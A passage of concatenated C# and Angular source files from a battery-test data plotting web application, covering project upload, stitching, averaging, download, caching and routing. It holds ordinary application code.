name="key">Entry key</param> /// <returns>object instance or null</returns> public object Get(string key) { return Cache.Get(key); } /// <summary> /// Clear all entries in the cache /// </summary> public void Flush() { Cache.Trim(100); } /// <summary> /// Clear entries related to a given project /// </summary> /// <param name="projectId">Project identifier</param> public void FlushProject(int projectId) { Cache.Remove($"Points_{projectId}"); Cache.Remove($"Cycles_{projectId}"); } } }<file_sep>/WebApp/src/app/app.module.ts import { NgModule } from "@angular/core"; import { FormsModule } from "@angular/forms"; import { HttpClientModule, HTTP_INTERCEPTORS } from "@angular/common/http"; import { ReactiveFormsModule } from "@angular/forms"; import { BrowserModule } from "@angular/platform-browser"; import { ActionReducer, StoreModule } from "@ngrx/store"; import { EffectsModule } from "@ngrx/effects"; import { localStorageSync } from "ngrx-store-localstorage"; import { storeLogger } from "ngrx-store-logger"; import { AngularMultiSelectModule } from "angular2-multiselect-dropdown/angular2-multiselect-dropdown"; import { TabModule } from "angular-tabs-component"; import { NgbModule } from "@ng-bootstrap/ng-bootstrap"; import { DxChartModule, DxDataGridModule, DxFileUploaderModule, DxNumberBoxModule, DxChartComponent, DxRangeSelectorModule, DxPopupModule, DxSelectBoxModule, DxTextAreaModule, DevExtremeModule } from "devextreme-angular"; import "devextreme/data/odata/store"; import { ColorPickerModule } from "ngx-color-picker"; import { AppComponent } from "./app.component"; import { AppRouteModule } from "./app-routes.module"; import { AuthInterceptor } from "./auth/interceptor/auth-interceptor"; import { AuthGuard } from "./auth/guard/auth.guard"; import { LoginComponent } from "./auth/login/login.component"; import { SignupComponent } from "./auth/signup/signup.component"; import { SignupSuccessComponent } from "./auth/signup-success/signup-success.component"; import { ConfirmSuccessComponent } from "./auth/confirm-success/confirm-success.component"; import { ConfirmFailureComponent } from "./auth/confirm-failure/confirm-failure.component"; import { AcquirePasswordResetComponent } from "./auth/acquire-password-reset/acquire-password-reset.component"; import { PasswordResetAcquiredComponent } from "./auth/password-reset-acquired/password-reset-acquired.component"; import { ResetPasswordComponent } from "./auth/reset-password/reset-password.component"; import { ResetPasswordSuccessComponent } from "./auth/reset-password-success/reset-password-success.component"; import { AuthService } from "./auth/state/auth.service"; import { ProjectService } from "./project/state/project.service" import { AggregationSettingsEditorComponent } from "./chart/aggregation-settings-editor/aggregation-settings-editor.component"; import { ChartComponent } from "./chart/chart/chart.component"; import { StateOfChargeEditorComponent } from "./chart/stateof-charge-editor/stateof-charge-editor.component"; import { ChartViewComponent } from "./chart/chart-view.component"; import { ChartService } from "./chart/state/chart.service"; import { FilterEditorComponent } from "./chart/filter-editor/filter-editor.component"; import { LegendComponent } from "./chart/legend/legend.component"; import { PlotTypeSelectorComponent } from "./chart/plot-type-selector/plot-type-selector.component"; import { UoMSettingsEditorComponent } from "./chart/uom-settings-editor/uom-settings-editor.component"; import { ChartSettingsEditorComponent } from "./chart/chart-settings-editor/chart-settings-editor.component"; import { SeriesEditorComponent } from "./chart/series-editor/series-editor.component"; import { PagerService } from "./chart/service/pager-service"; import { AxisRangeEditorComponent } from "./chart/axis-range-editor/axis-range-editor.component"; import { PlotEditorComponent } from "./chart/plot-editor/plot-editor.component"; import { CustomTemplateEditorComponent } from "./chart/custom-template-editor/custom-template-editor.component"; import { PlotTemplateEditorComponent } from "./chart/plot-template-editor/plot-template-editor.component"; import { ShareInstanceEditorComponent } from "./chart/share-instance-editor/share-instance-editor.component"; import { UserPreferencesService } from "./preferences/state/preferences.service"; import { PreferencesComponent } from "./preferences/preferences.component"; import { FeedbackComponent } from "./feedback/feedback.component"; import { FeedbackService } from "./feedback/state/feedback.service"; import { ProjectListComponent } from "./projects/project-list.component"; import { ViewListComponent } from "./views/view-list.component"; import { StitcherService } from "./stitcher/state/stitcher.service"; import { StitcherComponent } from "./stitcher/stitcher.component"; import { StatisticStitcherService } from "./statistic-project/state/statistic-stitcher.service"; import { StatisticProjectComponent } from "./statistic-project/statistic-project.component"; import { ViewService } from "./view/state/view.service"; import { ViewComponent } from "./view/view.component"; import { UploaderComponent } from "./upload/uploader.component"; import { UploadService } from "./upload/state/upload.service"; import { DropdownBoxComponent } from "./shared/dropdown-box/dropdown-box.component"; import { ConfirmPopupComponent } from "./shared/popup/confirm-popup.component"; import { PopupService } from "./shared/popup/popup.service"; import { environment } from "../environments/environment"; import { AppState } from "./state/app.state"; import { appEffects } from "./state/app.effects"; import { appReducers } from "./state/app.reducers"; //import { ModalModule } from "ngx-bootstrap/modal"; export function logger(reducer: ActionReducer<AppState>): any { return storeLogger()(reducer); } export function localStorageSyncReducer(reducer: ActionReducer<AppState>): ActionReducer<AppState> { return localStorageSync({keys: [{auth: ["username", "loggedIn"] }], rehydrate: true })(reducer); } export const metaReducers = environment.production ? [logger, localStorageSyncReducer] : [logger, localStorageSyncReducer]; @NgModule({ entryComponents: [ConfirmPopupComponent], declarations: [ AppComponent, LoginComponent, SignupComponent, SignupSuccessComponent, ConfirmSuccessComponent, ConfirmFailureComponent, AcquirePasswordResetComponent, PasswordResetAcquiredComponent, ResetPasswordComponent, ResetPasswordSuccessComponent, ShareInstanceEditorComponent, AxisRangeEditorComponent, ChartComponent, PlotEditorComponent, PlotTemplateEditorComponent, ChartViewComponent, FilterEditorComponent, SeriesEditorComponent, LegendComponent, PlotTypeSelectorComponent, StateOfChargeEditorComponent, AggregationSettingsEditorComponent, UoMSettingsEditorComponent, ChartSettingsEditorComponent, StitcherComponent, StatisticProjectComponent, ViewComponent, FeedbackComponent, ViewListComponent, ProjectListComponent, UploaderComponent, DropdownBoxComponent, ConfirmPopupComponent, CustomTemplateEditorComponent, PreferencesComponent ], imports: [ FormsModule, BrowserModule, HttpClientModule, ReactiveFormsModule, AppRouteModule, DxChartModule, DxDataGridModule, DxFileUploaderModule, DxRangeSelectorModule, DxNumberBoxModule, AngularMultiSelectModule, TabModule, DxPopupModule, DxTextAreaModule, ColorPickerModule, DevExtremeModule, DxSelectBoxModule, StoreModule.forRoot(appReducers, { metaReducers }), EffectsModule.forRoot(appEffects), NgbModule.forRoot() ], providers: [ { provide: HTTP_INTERCEPTORS, useClass: AuthInterceptor, multi: true }, AuthGuard, AuthService, ChartService, FeedbackService, ViewService, StitcherService, StatisticStitcherService, UserPreferencesService, UploadService, PagerService, PopupService, ProjectService ], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>/WebApp/src/app/app-routes.module.ts import { NgModule } from "@angular/core"; import { Routes, RouterModule } from "@angular/router"; import { AuthGuard } from "./auth/guard/auth.guard"; import { LoginComponent } from "./auth/login/login.component"; import { SignupComponent } from "./auth/signup/signup.component"; import { SignupSuccessComponent } from "./auth/signup-success/signup-success.component"; import { ConfirmSuccessComponent } from "./auth/confirm-success/confirm-success.component"; import { ConfirmFailureComponent } from "./auth/confirm-failure/confirm-failure.component"; import { AcquirePasswordResetComponent } from "./auth/acquire-password-reset/acquire-password-reset.component"; import { PasswordResetAcquiredComponent } from "./auth/password-reset-acquired/password-reset-acquired.component"; import { ResetPasswordComponent } from "./auth/reset-password/reset-password.component"; import { ResetPasswordSuccessComponent } from "./auth/reset-password-success/reset-password-success.component"; import { FeedbackComponent } from "./feedback/feedback.component"; import { ProjectListComponent } from "./projects/project-list.component"; import { ViewListComponent } from "./views/view-list.component"; import { UploaderComponent } from "./upload/uploader.component"; import { PreferencesComponent } from "./preferences/preferences.component"; const appRoutes: Routes = [ { path: "login", component: LoginComponent }, { path: "signup", component: SignupComponent }, { path: "signup-success", component: SignupSuccessComponent }, { path: "confirm-success", component: ConfirmSuccessComponent }, { path: "confirm-failure", component: ConfirmFailureComponent }, { path: "acquire-password-reset", component: AcquirePasswordResetComponent }, { path: "password-reset-acquired", component: PasswordResetAcquiredComponent }, { path: "reset-password", component: ResetPasswordComponent }, { path: "reset-password-success", component: ResetPasswordSuccessComponent }, { path: "feedback", component: FeedbackComponent, canActivate: [AuthGuard] }, { path: "projects", component: ProjectListComponent, canActivate: [AuthGuard] }, { path: "views", component: ViewListComponent, canActivate: [AuthGuard] }, { path: "upload", component: UploaderComponent, canActivate: [AuthGuard] }, { path: "preferences", component: PreferencesComponent, canActivate: [AuthGuard] }, { path: "**", redirectTo: "/projects" } ]; @NgModule({ imports: [RouterModule.forRoot(appRoutes)], exports: [RouterModule] }) export class AppRouteModule { } <file_sep>/WebApp/Global.asax.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Reflection; using System.Web; using log4net; namespace WebApp { public class Global : HttpApplication { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); //////////////////////////////////////////////////////////// // Protected Methods/Atributes //////////////////////////////////////////////////////////// protected void Application_End() { Log.Info("Global.Application_End: Stopped"); } protected void Application_Error() { var ex = Server.GetLastError(); if (ex is OperationCanceledException) { Log.Info("Global.Application_Error: OperationCanceledException", ex); Server.ClearError(); } else if (ex is HttpException && ex.Message.Contains("Server cannot append header after HTTP headers have been sent")) { // IMPORTANT: this is a known bug in OWIN/ASP.NET with CookieAuthentication. // http://katanaproject.codeplex.com/discussions/540202 // https://connect.microsoft.com/VisualStudio/Feedback/Details/3065110 // https://github.com/aspnet/AspNetKatana/issues/74 Log.Info("Global.Application_Error: Unexpected exception", ex); Server.ClearError(); } else { Log.Error("Application_Error: Unexpected exception", ex); } } } } <file_sep>/WebApp/Controllers/Api/ProjectController.cs using System; using System.Collections.Generic; using System.Data.Entity; using System.Globalization; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Reflection; using System.Threading.Tasks; using System.Web; using System.Web.Http; using DataLayer; using Dqdv.Internal.Contracts.Settings; using Hangfire; using log4net; using LinqKit; using Messages; using Microsoft.AspNet.Identity; using WebApp.Data; using WebApp.Extensions; using WebApp.Interfaces; using WebApp.Models.Projects; using WebApp.Services; namespace WebApp.Controllers.Api { [Authorize] [RoutePrefix("api/projects")] public class ProjectController : ApiController { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private readonly IStorage _storage; private readonly DqdvContext _db; private readonly IBackgroundJobClient _jobClient; private readonly IOptions _options; private readonly ProjectService _projectService; #region Constructor public ProjectController( IStorage storage, DqdvContext db, ProjectService projectService, IBackgroundJobClient jobClient, IOptions options) { _storage = storage; _db = db; _jobClient = jobClient; _options = options; _projectService = projectService; } #endregion #region Public methods [Route] [HttpPost] public async Task<IHttpActionResult> Create() { var model = BindCreateProjectModel(); if (!ModelState.IsValid) { return BadRequest(); } if (model.Files.Any(file => ExtractFileExtension(file) != ".xls" && ExtractFileExtension(file) != ".xlsx")) { return BadRequest("Only Excel files are accepted"); } foreach (var file in model.Files) { string internalFileName = Guid.NewGuid().ToString(); await _storage.SaveAsAsync(file, internalFileName); Project newProject = MapToProject(model, file, internalFileName); Project existingProject = await _db.Projects.FirstOrDefaultAsync( item => item.FileName == newProject.FileName && item.Name == newProject.Name); if (existingProject == null) { await _projectService.CreateProject(newProject); } else { DateTime now = DateTime.UtcNow; existingProject.TraceId = newProject.TraceId; existingProject.InternalFileName = newProject.InternalFileName; existingProject.FileSize = newProject.FileSize; existingProject.TestName = newProject.TestName; existingProject.TestType = newProject.TestType; existingProject.Channel = newProject.Channel; existingProject.Tag = newProject.Tag; existingProject.CreatedAt = now; existingProject.UpdatedAt = now; existingProject.Comments = newProject.Comments; //Do not override populated properties with empty while update if (newProject.Mass != null && newProject.Mass != double.NaN) { existingProject.Mass = newProject.Mass; } if (newProject.Area != null && newProject.Area != double.NaN) { existingProject.Area = newProject.Area; } if (newProject.ActiveMaterialFraction != null && newProject.ActiveMaterialFraction != double.NaN) { existingProject.ActiveMaterialFraction = newProject.ActiveMaterialFraction; } if (newProject.TheoreticalCapacity != null && newProject.TheoreticalCapacity != double.NaN) { existingProject.TheoreticalCapacity = newProject.TheoreticalCapacity; } await _projectService.UpdateProject(existingProject); } } return Ok(); } [Route("unique")] [HttpPost] public async Task<IHttpActionResult> CheckProjectExist(IEnumerable<ProjectExistCheckModel> checkModel) { IQueryable<Project> query = _db.GetProjects(User.Identity.GetUserId()); ExpressionStarter<Project> predicate = PredicateBuilder.New<Project>(false); predicate = checkModel.Aggregate( predicate, (current, cm) => current.Or(p => p.FileSize == cm.FileSize && p.FileName == cm.FileName && p.Name == cm.Name)); var exists = await query.AnyAsync(predicate); return Ok(new { isAllUnique = !exists }); } [Route("average")] [HttpPost] public async Task<IHttpActionResult> Average(AverageProjectsModel model) { if (!ModelState.IsValid) return BadRequest(); if (!AllProjectsExist(model.Projects)) return NotFound(); var now = DateTime.UtcNow; var project = new Project { UserId = User.Identity.GetUserId(), TraceId = Guid.NewGuid(), Name = model.Name, FileName = FormatStitchedFrom(model.Projects), TestName = model.TestName, TestType = model.TestType, Channel = model.Channel, Tag = model.Tag, Mass = model.Mass, Area = model.Area, Comments = $"{model.Comments} {FormatStitchedFromNames(model.Projects)}", IsAveragePlot = true, CreatedAt = now, UpdatedAt = now, StitchedFromNames = FormatStitchedFromNames(model.Projects), }; _db.Projects.Add(project); await _db.SaveChangesAsync(); var traceId = project.TraceId.ToString(); project.JobId = _jobClient.Enqueue<IBackgroundProcessor>( p => p.PrepareAverageProject( traceId, project.Id, model.Projects, JobCancellationToken.Null)); await _db.SaveChangesAsync(); var timeoutJobId = _jobClient.Schedule<IBackgroundProcessor>( p => p.HandleTimeout(traceId, project.Id), _options.ProjectPrepareTimeout); _jobClient.ContinueWith<IBackgroundProcessor>(project.JobId, p => p.CancelTimeout(traceId, project.Id, timeoutJobId), JobContinuationOptions.OnAnyFinishedState); return Ok(); } [Route("stitch")] [HttpPost] public IHttpActionResult Stitch([FromBody] StitchProjectsModel model) { if (!ModelState.IsValid) return BadRequest(); if (!AllProjectsExist(model.Projects)) return NotFound(); var now = DateTime.UtcNow; var project = new Project { UserId = User.Identity.GetUserId(), TraceId = Guid.NewGuid(), Name = model.Name, FileName = FormatStitchedFrom(model.Projects), TestName = model.TestName, TestType = model.TestType, Channel = model.Channel, Tag = model.Tag, Mass = model.Mass, Area = model.Area, Comments = model.Comments, StitchedFrom = FormatStitchedFrom(model.Projects), StitchedFromNames = FormatStitchedFromNames(model.Projects), CreatedAt = now, UpdatedAt = now }; _db.Projects.Add(project); _db.SaveChanges(); var traceId = project.TraceId.ToString(); project.JobId = _jobClient.Enqueue<IBackgroundProcessor>( p => p.StitchProjects( traceId, project.Id, model.Projects, model.TryMergeAdjacentCycles, JobCancellationToken.Null)); _db.SaveChanges(); var timeoutJobId = _jobClient.Schedule<IBackgroundProcessor>( p => p.HandleTimeout(traceId, project.Id), _options.ProjectPrepareTimeout); _jobClient.ContinueWith<IBackgroundProcessor>(project.JobId, p => p.CancelTimeout(traceId, project.Id, timeoutJobId), JobContinuationOptions.OnAnyFinishedState); return Ok(); } [Route("{id}/download")] [HttpPost] public async Task<HttpResponseMessage> DownloadProject(int id) { //DownloadRequestModel parameters = parametersModel.GetValue("parametersModel").ToObject<DownloadRequestModel>(); var userId = User.Identity.GetUserId(); try { var project = await _db.GetProjects(userId).FirstAsync(p => p.Id == id); var result = await _storage.DownloadToStreamAsync(project.FileName, project.InternalFileName); if (result == null) { return new HttpResponseMessage(HttpStatusCode.NotFound); } // Reset the stream position; otherwise, download will not work result.BlobStream.Position = 0; // Set content headers var content = new StreamContent(result.BlobStream); content.Headers.ContentLength = result.BlobLength; content.Headers.ContentType = new MediaTypeHeaderValue(result.BlobContentType); content.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment") { FileName = $"\"{result.BlobFileName}\"", Size = result.BlobLength }; // Create response message with blob stream as its content return new HttpResponseMessage(HttpStatusCode.OK) { Content = content }; } catch (Exception ex) { return new HttpResponseMessage { StatusCode = HttpStatusCode.InternalServerError, Content = new StringContent(ex.Message) }; } } #endregion #region Private methods private CreateProjectModel BindCreateProjectModel() { var model = new CreateProjectModel { Name = HttpContext.Current.Request.Form["name"], TestName = HttpContext.Current.Request.Form["testName"], TestType = HttpContext.Current.Request.Form["testType"], Channel = HttpContext.Current.Request.Form["channel"], Tag = HttpContext.Current.Request.Form["tag"], Mass = HttpContext.Current.Request.Form["mass"].ToDouble(), Area = HttpContext.Current.Request.Form["area"].ToDouble(), Comments = HttpContext.Current.Request.Form["comments"], ActiveMaterialFraction = HttpContext.Current.Request.Form["activeMaterialFraction"].ToDouble(), TheoreticalCapacity = HttpContext.Current.Request.Form["theoreticalCapacity"].ToDouble(), OverwriteExisting = HttpContext.Current.Request.Form["overwriteExisting"].ToBoolean() }; if (string.IsNullOrWhiteSpace(model.Name)) ModelState.AddModelError("name", "'Name' is required"); var files = HttpContext.Current.Request.Files; if (files.Count <= 0) ModelState.AddModelError("file", "Please select at least one file"); else model.Files = new List<HttpPostedFile>(files.GetMultiple("file")); return model; } private static string ExtractFileExtension(HttpPostedFile file) { try { return Path.GetExtension(file.FileName).ToLowerInvariant(); } catch (ArgumentException) { return string.Empty; } } private static string ExtractFileName(HttpPostedFile file) { try { return Path.GetFileName(file.FileName); } catch (ArgumentException) { return file.FileName; } } private bool AllProjectsExist(int[] projectId) { var foundProjects = _db.GetProjects(User.Identity.GetUserId()) .Count(p => p.IsReady && !p.Failed && projectId.Contains(p.Id)); return foundProjects == projectId.Length; } private static string FormatStitchedFrom(int[] projects) { return string.Join(", ", projects.Select(id => id.ToString(CultureInfo.InvariantCulture))); } private string FormatStitchedFromNames(int[] projects) { var names = _db.GetProjects(User.Identity.GetUserId()) .Where(p => p.IsReady && !p.Failed && projects.Contains(p.Id)) .ToDictionary(p => p.Id, p => p.Name); return string.Join(", ", projects.Select(id => names[id])); } private Project MapToProject(CreateProjectModel model, HttpPostedFile file, string internalFileName) { return new Project { UserId = User.Identity.GetUserId(), TraceId = Guid.NewGuid(), Name = model.Name, FileName = ExtractFileName(file), InternalFileName = internalFileName, FileSize = file.ContentLength, TestName = model.TestName, TestType = model.TestType, Channel = model.Channel, Tag = model.Tag, Mass = model.Mass, TheoreticalCapacity = model.TheoreticalCapacity, ActiveMaterialFraction = model.ActiveMaterialFraction, Area = model.Area, Comments = model.Comments, }; } #endregion } } <file_sep>/WebApp/Models/Chart/ChartDto.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using Dqdv.Types.Plot; using Plotting; using System.Collections.Generic; using WebApp.Models.Plots; namespace WebApp.Models.Chart { class ChartDto { public string Title { get; set; } public string XAxisText { get; set; } public bool XAxisIsInteger { get; set; } public string[] YAxisText { get; set; } public List<int> ProjectIds { get; set; } public List<ProjectDto> Projects { get; set; } public List<SeriesDto> Series { get; set; } public List<Dictionary<string, double?>> Points { get; set; } public int? ForcedEveryNthCycle { get; set; } public Label Label { get; set; } public List<PlotTemplate> PlotSettings { get; set; } public PlotFormulaModel PlotFormulaModel { get; set; } public string SelectedTemplateName { get; set; } public PlotParameters PlotParameters { get; set; } } } <file_sep>/WebApp/Services/ProjectDataRepository.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.Linq; using System.Reflection; using System.Runtime.Caching; using DataLayer; using Dqdv.Types; using log4net; using Plotting; using Cycle = Plotting.Cycle; using DataPoint = Dqdv.Types.DataPoint; using Project = Plotting.Project; namespace WebApp.Services { class ProjectDataRepository : IProjectDataRepository { #region Logging private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); #endregion #region Private fields private readonly DqdvContext _db; private readonly ProjectPlotCache _cache; #endregion #region Constructor public ProjectDataRepository(DqdvContext db, ProjectPlotCache cache) { _db = db; _cache = cache; } #endregion #region IProjectDataRepository implementation public Project GetProject(int id, string user) { var project = _db.Projects.Find(id); if (project == null) { return new Project { Name = "Unknown", }; } return new Project { Id = id, Name = project.Name, Mass = project.Mass, ActiveMaterialFraction = project.ActiveMaterialFraction, TheoreticalCapacity = project.TheoreticalCapacity, Area = project.Area, IsAveragePlot = project.IsAveragePlot }; } public List<DataPoint> GetPoints(int id, string user) { var key = "Points_" + id.ToString(CultureInfo.InvariantCulture); var points = (List<DataPoint>)_cache.Get(key); if (points != null) return points; points = LoadPoints(id, user); if (points == null) return new List<DataPoint>(); _cache.Set(key, points, new CacheItemPolicy { AbsoluteExpiration = ObjectCache.InfiniteAbsoluteExpiration, RemovedCallback = OnCacheItemRemoved }); return points; } public List<Cycle> GetCycles(int id, string user) { var key = "Cycles_" + id.ToString(CultureInfo.InvariantCulture); var cycles = (List<Cycle>)_cache.Get(key); if (cycles != null) return cycles; cycles = LoadCycles(id, user); if (cycles == null) return new List<Cycle>(); _cache.Set(key, cycles, new CacheItemPolicy { AbsoluteExpiration = ObjectCache.InfiniteAbsoluteExpiration, RemovedCallback = OnCacheItemRemoved }); return cycles; } #endregion #region Private methods private List<DataPoint> LoadPoints(int projectId, string user) { if (!IsProjectReady(projectId)) return null; var timer = Stopwatch.StartNew(); var points = _db.DataPoints .Where(p => p.ProjectId == projectId) .OrderBy(p => p.Index) .Select(p => new DataPoint { CycleIndex = p.CycleIndex, CycleStep = (CycleStep)p.CycleStep, Time = p.Time, Current = p.Current, Voltage = p.Voltage, Capacity = p.Capacity, Energy = p.Energy, Power = p.Power, Temperature = p.Temperature }).ToList(); Log.Info($"ProjectDataRepository.LoadPoints: LoadPoints({projectId}): {points.Count} points, {timer.ElapsedMilliseconds} ms"); return points; } private List<Cycle> LoadCycles(int projectId, string trace) { Log.Info($"ProjectDataRepository.LoadCycles: LoadCycles({projectId}): {trace}"); if (!IsProjectReady(projectId)) return null; var timer = Stopwatch.StartNew(); var cycles = _db.Cycles .AsNoTracking() .Where(c => c.ProjectId == projectId) .OrderBy(c => c.Index) .ToList() .Select(c => new Cycle { Index = c.Index, FirstPointIndex = c.FirstPointIndex, PointCount = c.PointCount, EndCurrent = c.EndCurrent, DischargeEndCurrent = c.DischargeEndCurrent, MidVoltage = c.MidVoltage, EndVoltage = c.EndVoltage, DischargeEndVoltage = c.DischargeEndVoltage, ChargeCapacity = c.ChargeCapacity, ChargeCapacityRetention = c.ChargeCapacityRetention, DischargeCapacity = c.DischargeCapacity, DischargeCapacityRetention = c.DischargeCapacityRetention, Power = c.Power, DischargePower = c.DischargePower, ChargeEnergy = c.ChargeEnergy, DischargeEnergy = c.DischargeEnergy, Temperature = c.Temperature, ResistanceOhms = c.ResistanceOhms, DischargeResistance = c.DischargeResistance, StartCurrent = c.StartCurrent, StartDischargeCurrent = c.StartDischargeCurrent, StartDischargeVoltage = c.StartDischargeVoltage, StartChargeVoltage = c.StartChargeVoltage, StatisticMetaData = new Plotting.StatisticMetaData { EndCurrentStdDev = c.StatisticMetaData?.EndCurrentStdDev, DischargeEndCurrentStdDev = c.StatisticMetaData?.DischargeEndCurrentStdDev, MidVoltageStdDev = c.StatisticMetaData?.MidVoltageStdDev, EndVoltageStdDev = c.StatisticMetaData?.EndVoltageStdDev, DischargeEndVoltageStdDev = c.StatisticMetaData?.DischargeEndVoltageStdDev, ChargeCapacityStdDev = c.StatisticMetaData?.ChargeCapacityStdDev, DischargeCapacityStdDev = c.StatisticMetaData?.DischargeCapacityStdDev, ChargeEnergyStdDev = c.StatisticMetaData?.ChargeEnergyStdDev, PowerStdDev = c.StatisticMetaData?.PowerStdDev, DischargePowerStdDev = c.StatisticMetaData?.DischargePowerStdDev, ResistanceOhmsStdDev = c.StatisticMetaData?.ResistanceOhmsStdDev, DischargeResistanceStdDev = c.StatisticMetaData?.DischargeResistanceStdDev, CoulombicEfficiencyStdDev = c.StatisticMetaData?.CoulombicEfficiencyStdDev, CoulombicEfficiencyAverage = c.StatisticMetaData?.CoulombicEfficiencyAverage, DischargeEnergyStdDev = c.StatisticMetaData?.DischargeEnergyStdDev, ChargeCapacityRetentionStdDev = c.StatisticMetaData?.ChargeCapacityRetentionStdDev, DischargeCapacityRetentionStdDev = c.StatisticMetaData?.DischargeCapacityRetentionStdDev } }).ToList(); Log.Info($"ProjectDataRepository.LoadCycles: LoadCycles({projectId}): {cycles.Count} cycles, {timer.ElapsedMilliseconds} ms"); return cycles; } private bool IsProjectReady(int projectId) { var project = _db.Projects.Find(projectId); return project != null && project.IsReady && !project.Failed; } private static void OnCacheItemRemoved(CacheEntryRemovedArguments args) { Log.InfoFormat("ProjectDataRepository.OnCacheItemRemoved: Cache item '{0}' has been removed from cached because of: {1}", args.CacheItem.Key, args.RemovedReason); } #endregion } } <file_sep>/WebApp/WebApiExceptionLogger.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Reflection; using System.Threading; using System.Threading.Tasks; using System.Web.Http.ExceptionHandling; using log4net; namespace WebApp { public class WebApiExceptionLogger : IExceptionLogger { #region Logging private static readonly ILog Log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); #endregion #region Overridden methods public Task LogAsync(ExceptionLoggerContext context, CancellationToken cancellationToken) { if (!WebApiExceptionHandler.IsHandled(context.Request, context.Exception)) Log.Error("WebApiExceptionLogger.LogAsync: Unexpected exception", context.ExceptionContext.Exception); return Task.CompletedTask; } #endregion } } <file_sep>/WebApp/Controllers/OData/ProjectsController.cs using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Net; using System.Net.Http; using System.Web; using System.Web.Http; using System.Web.OData; using System.Web.OData.Query; using DataLayer; using Dqdv.Internal.Contracts.Settings; using Hangfire; using Messages; using Microsoft.AspNet.Identity; using WebApp.Data; using WebApp.Extensions; using WebApp.Search; namespace WebApp.Controllers.OData { [Authorize] public class ProjectsController : ODataController { #region Constants private static readonly HashSet<string> NonUpdatableProperties = new HashSet<string> { "Id", "TraceId", "InternalFileName", "FileSize", "CreatedAt", "UpdatedAt", "IsReady", "Failed", "Error", "Owner", "FileName", "NumCycles", "JobId", "StitchedFrom", "StitchedFromNames" }; #endregion #region Private fields private readonly DqdvContext _db; private readonly IBackgroundJobClient _jobClient; private readonly IOptions _options; #endregion #region Constructor public ProjectsController(DqdvContext db, IBackgroundJobClient jobClient, IOptions options) { _db = db; 